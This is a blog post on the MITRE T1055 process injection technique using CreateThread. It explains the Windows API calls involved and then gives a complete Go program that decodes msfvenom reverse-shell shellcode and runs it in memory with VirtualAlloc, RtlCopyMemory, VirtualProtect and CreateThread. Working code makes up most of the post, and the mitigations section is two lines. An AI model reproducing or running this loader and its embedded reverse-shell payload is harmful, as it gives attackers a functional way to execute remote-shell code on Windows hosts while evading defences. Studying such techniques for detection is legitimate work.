Home Process Injection -> CreateThread
Post
Cancel

Process Injection -> CreateThread

MITRE

  • ID : T1055
  • Tactic : Defense Evasion
  • Platforms: Windows

CreateThread

Is a function from Kernel32.dll windows module that Creates a thread to execute within the virtual address space of the calling process.

Adversaries may leverage the Windows CreateThread function from Kernel32.dll to execute a malicious code within the virtual address space of the calling process.

Technigues

VirtualAlloc

Is a function from kernel32.dll windows module that reserves, commits, or changes the state of a region of pages in the virtual address space of the calling process. We will use this function to allocate a memory block for our shellcode. By setting the page permissions to Read/Write, we can be able to copy our malicious code to the allocated memory space.

RtlCopyMemory

Is a function from ntdll.dll windows module that copies the contents of a source memory block to a destination memory block. We will use this function to copy our shellcode to the allocated memory block. For this to work, the destination memory block must have atleast Read/Write permission set.

VirtualProtect

Is a function from kernel32.dll windows module that changes the protection on a region of committed pages in the virtual address space of the calling process. We will use this function to change the permission of the allocated memory block from Read/Write to Execute/Read, This permission will allow us to execute our shellcode.

CreateThread

We will use this function to create a thread that will execute our shellcode.

WaitForSingleObject

Is a function from kernel32.dll windows module that waits until the specified object is in the signaled state or the time-out interval elapses. We will use this function to make the program wait for our shellcode to be executed before exiting.

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
package main

import (
	"encoding/hex"
	"errors"
	"log"
	"unsafe"

	"golang.org/x/sys/windows"
)

// Reverse Shell Payload Generated With Msfvenom
const (
	SHELLCODE = "fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d49be7773325f3332000041564989e64881eca00100004989e549bc020003e8c0a82b0141544989e44c89f141ba4c772607ffd54c89ea68010100005941ba29806b00ffd550504d31c94d31c048ffc04889c248ffc04889c141baea0fdfe0ffd54889c76a1041584c89e24889f941ba99a57461ffd54881c44002000049b8636d640000000000415041504889e25757574d31c06a0d594150e2fc66c74424540101488d442418c600684889e6565041504150415049ffc0415049ffc84d89c14c89c141ba79cc3f86ffd54831d248ffca8b0e41ba08871d60ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd5"
)

// Windows Modules And Functions
var (
	kernel32 = windows.NewLazySystemDLL("kernel32.dll")
	ntdll    = windows.NewLazySystemDLL("ntdll.dll")

	virtualAlloc        = kernel32.NewProc("VirtualAlloc")
	rtlCopyMemory       = ntdll.NewProc("RtlCopyMemory")
	virtualProtect      = kernel32.NewProc("VirtualProtect")
	createThread        = kernel32.NewProc("CreateThread")
	waitForSingleObject = kernel32.NewProc("WaitForSingleObject")
)

// Main Function
func main() {
	log.Println("[+] Process Injection: CreateThread...")

	// Convert SHELLCODE From hex String to bytes
	shellcodeByte := decodeShellcode(SHELLCODE)

	// Variables Needed To Invoke VirtualAlloc
	var shellcodeSize uint32 = uint32(len(shellcodeByte))
	var flAllocationType uint32 = windows.MEM_COMMIT | windows.MEM_RESERVE
	var flProtect uint32 = windows.PAGE_READWRITE

	//Invoke VirtualAlloc To Allocate Memory Block For Our Shellcode
	bAddr, errVirtualAllocProc := virtualAllocProc(shellcodeSize, flAllocationType, flProtect)
	exitError(errVirtualAllocProc)
	log.Println("[+] Memory Allocated At: ", uintptr(bAddr))

	//Invoke RtlCopyMemory To Copy Our Shellocode To The Allocated Memory.
	errRtlCopyMemoryProc := rtlCopyMemoryProc(bAddr, &shellcodeByte[0], shellcodeSize)
	exitError(errRtlCopyMemoryProc)

	//Variable Needed To Invoke VirtualProtect
	var flNewProtect uint32 = windows.PAGE_EXECUTE_READ

	//Invoke VirtualProtect To Change Permission Of The Allocated Memory Block To Execute/Read
	errVirtualProtectProc := virtualProtectProc(bAddr, shellcodeSize, flNewProtect, &flProtect)
	exitError(errVirtualProtectProc)
	log.Println("[+] Permission Changed To PAGE_EXECUTE_READ")

	//Invoke CreateThread To Execute Our Shellcode
	tHandle, errCreateThreadProc := createThreadProc(bAddr)
	exitError(errCreateThreadProc)
	log.Println("[+] Shellcode Executed")

	//Invoke WaitForSingleObject To Wait For Our Shellcode To Be Executed Completely.
	errWaitForSingleObjectPro := waitForSingleObjectProc(tHandle)
	exitError(errWaitForSingleObjectPro)

}

// ExitError Handles Errors
func exitError(err error) {
	if err != nil {
		log.Fatal(err.Error())
	}
}

//DecodeShellcode Convert Shellcode to Bytes Array
func decodeShellcode(shellcode string) []byte {
	shellcodeByte, errShellcode := hex.DecodeString(shellcode)
	if errShellcode != nil {
		log.Fatal("[-] Error Decoding Shellcode")
	}

	return shellcodeByte
}

// virtualAllocProc Allocates Memory Block
func virtualAllocProc(dwSize, flAllocationType, flProtect uint32) (uintptr, error) {
	bAddr, _, errVirtualAlloc := virtualAlloc.Call(
		uintptr(0),
		uintptr(dwSize),
		uintptr(flAllocationType),
		uintptr(flProtect))

	if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
		return 0, errors.New("[-] Error: VirtualAlloc")
	}

	return bAddr, nil
}

// rtlCopyMemoryProc Copies Shellcode to The Allocated Memory Block
func rtlCopyMemoryProc(destination uintptr, source *byte, size_t uint32) error {
	_, _, errRtlCopyMemory := rtlCopyMemory.Call(
		uintptr(destination),
		uintptr(unsafe.Pointer(source)),
		uintptr(size_t))

	if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
		return errors.New("[-] Error: RtlCopyMemory")
	}

	return nil

}

// virtualProtectProc Changes The Permission To Execute/Read
func virtualProtectProc(lpAddress uintptr, dwSize, flNewProtect uint32, floldProtect *uint32) error {
	_, _, errVirtualProtect := virtualProtect.Call(
		lpAddress,
		uintptr(dwSize),
		uintptr(flNewProtect),
		uintptr(unsafe.Pointer(floldProtect)))

	if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
		return errors.New("[-] Error: VirtualProtect")
	}

	return nil
}

// createThreadProc Executes Shellcode
func createThreadProc(lpStartAddress uintptr) (uintptr, error) {
	tHandle, _, errCreateThread := createThread.Call(
		uintptr(0),
		uintptr(0),
		lpStartAddress,
		uintptr(0),
		uintptr(0),
		uintptr(0))

	if errCreateThread != nil && errCreateThread.Error() != "The operation completed successfully." {
		return tHandle, errors.New("[-] Error: CreateThread")
	}

	return tHandle, nil
}

// waitForSingleObjectProc Wait For Shellcode.
func waitForSingleObjectProc(tHandle uintptr) error {
	_, _, errWaitForSingleObject := waitForSingleObject.Call(
		tHandle,
		0xFFFFFFFF)

	if errWaitForSingleObject != nil && errWaitForSingleObject.Error() != "The operation completed successfully." {
		return errors.New("[-] Error: WaitForSingleObject")
	}

	return nil
}

Execution

createthread

createthread

createthread

Mitigations

  • Behavior Prevention on Endpoint.
  • Privileged Account Management.

References

This post is licensed under CC BY 4.0 by the author.